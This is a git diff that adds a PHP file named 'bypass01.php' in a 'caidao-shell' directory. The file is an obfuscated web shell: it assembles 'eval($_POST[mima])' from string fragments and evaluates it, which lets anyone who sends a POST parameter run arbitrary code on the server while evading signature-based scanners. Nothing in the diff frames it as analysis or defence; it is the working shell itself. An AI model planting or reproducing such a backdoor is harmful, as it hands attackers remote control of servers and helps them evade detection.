diff --git a/caidao-shell/bypass01.php b/caidao-shell/bypass01.php
new file mode 100644
index 0000000..8399e4c
--- /dev/null
+++ b/caidao-shell/bypass01.php
@@ -0,0 +1,13 @@
+<?php
+$s0="e";
+$s1="val($";
+$s2="_";
+$s3="P";
+$s4="O";
+$s5="ST";
+
+
+$poos=$s0.$s1.$s2.$s3.$s4.$s5."[mima]);";
+$pp=@eval($poos);
+@eval($pp);
+?>